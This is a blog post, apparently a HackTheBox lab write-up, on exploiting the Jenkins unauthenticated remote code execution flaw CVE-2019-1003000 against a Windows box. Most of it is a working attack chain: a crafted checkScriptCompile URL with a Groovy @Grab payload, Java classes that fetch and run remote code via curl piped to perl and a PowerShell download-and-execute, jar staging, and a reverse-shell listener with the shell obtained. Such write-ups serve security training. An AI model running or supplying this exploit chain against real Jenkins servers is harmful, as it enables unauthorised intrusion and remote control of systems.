Jenkins RCE Vulnerability

Hi guys whatsup!

Orange Tsai published a really interesting writeup on their discovery of CVE-2019–1003000, an Unathenticated remote code exeuction (RCE) in Jenkins. There was a box from HackTheBox.eu that ran Jenkins, and while the configuration wasn’t perfect for this kind of test, I decided to play with it and see what I could figure out. I’ll get the exploit working with a new payload so that it runs on the Windows environment.

Exploit Background

Target Host: Jeeves

Jeeves is not perfect. This host has authentication turned off for Jenkins. This box was in fact easily solved by just by visiting the Script Console and running Groovy script there. Still, I’ll see if I can get execution going using the path provided, and trusting that even without auth, I would have access.

I will also have to update the payload for a Windows target.

Exploiting

Invoking Grape

Now I’ll visit the workflow plugin’s checkScriptCompile API endpoint with some Groovy that should use the @Grab meta annotation to request the jar from me. I’ll start a python3 -m http.server 80 and visit:

http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://10.10.14.21/%27)%0A@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%271%27)%0Aimport%20Orange;

In that url, I provide a value parameter which is the Groovy script to run. It uses %0A for newlines. Here’s how that script looks unencoded:

@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://10.10.14.21/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;

It defines the parameters for the ‘orange.tw’ package, including where to get it, and then invokes @Grab to fetch it.

On visiting the url, I do see activity on my web server:

root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.63 - - [27/Feb/2019 11:07:18] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:18] "HEAD /tw/orange/poc/1/poc-1.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:07:19] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:19] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -

Very cool! It tried to download a pom file, and when that failed, went for poc-1.jar. That matches the module and the version from the url. I can change module to “0xdf” and version to “223” in the url and see that reflected:

10.10.10.63 - - [27/Feb/2019 11:34:35] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:35] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:34:36] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 404 -

The web browser is showing a big error message that it can’t resolve the dependency:

Building a Jar Payload

public class Orange {
public Orange(){
try {
String payload = "curl orange.tw/bc.pl | perl -";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}

I can clearly see that it will exec /bin/bash -c curl orange.tw/bc.pl | perl -. I can assume that bc.pl is a reverse shell.

This will have to be modified for a Windows target. I’ll have it run PowerShell to get and Invoke a Nishang shell:

public class Orange {
public Orange(){
try {
String payload = "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.21/shell.ps1')";
String[] cmds = {"cmd", "/c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}

Now I’ll build that into a jar. Compile the java:

root@kali# javac Orange.java

Make the appropriate metadata:

root@kali# mkdir -p META-INF/services/
root@kali# echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
root@kali# find
.
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

Bundle it into a jar:

root@kali# jar cvf 0xdf-223.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)

Stage Payloads

root@kali# mkdir -p tw/orange/0xdf/223/
root@kali# mv 0xdf-223.jar tw/orange/0xdf/223/

I’ll also get a copy of Invoke-PowerShellTcp.ps1 and named it shell.ps1 to match what’s in the jar:

root@kali# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1

Then I’ll grab the example line and paste it at the end of the file, with my IP/port information:

root@kali# tail -1 shell.ps1 
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.21 -Port 443

Now the PowerShell will request this file, and execute it loading all of the functions into the PowerShell session, and then Invoking the one that creates a shell connection back to me.

Exploit

10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:37] "GET /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:43] "GET /shell.ps1 HTTP/1.1" 200 -

Shortly after that, I get a connection on nc, and I have a shell:

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.63.
Ncat: Connection from 10.10.10.63:49680.
Windows PowerShell running as user kohsuke on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\.jenkins>whoami
jeeves\kohsuke

Troubleshooting

Java Version

java.lang.UnsupportedClassVersionError: Orange has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

Basically, I compiled the class file using a later version of java, and it can’t understand it.

According to the Wikipedia page on Java Class Files, version 55 is Java SE 11, and 52 is Java SE 8.

I installed Java 8 on my computer with

root@kali# apt install openjdk-8-jdk

Then I used update-alternatives to select the right version for now:

root@kali# update-alternatives --config javac
There are 4 choices for the alternative javac (providing /usr/bin/javac).
Selection Path Priority Status
------------------------------------------------------------
0 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 auto mode
* 1 /opt/jdk-11.0.2/bin/javac 1 manual mode
2 /usr/lib/jvm/java-10-openjdk-amd64/bin/javac 1101 manual mode
3 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 manual mode
4 /usr/lib/jvm/java-8-openjdk-amd64/bin/javac 1081 manual mode
Press <enter> to keep the current choice[*], or type selection number: 4
update-alternatives: using /usr/lib/jvm/java-8-openjdk-amd64/bin/javac to provide /usr/bin/javac (javac) in manual mode

Then I recompiled and re-made my jar, and it worked!

Updating the Jar

For example, if I uploaded with a version of java that isn’t compatible with the box, I can recompile that locally, rebuild the jar, and everything else using version 224 instead of 223. I’ll need a new directory and filename for the jar:

root@kali# javac Orange.java 
root@kali# jar cvf 0xdf-224.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
root@kali# mkdir tw/orange/0xdf/224
root@kali# cp 0xdf-224.jar tw/orange/0xdf/224/

Now I update the version in the url and refresh, and I get a shell

Security Researcher,Ctf Player,Cyber Expert

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store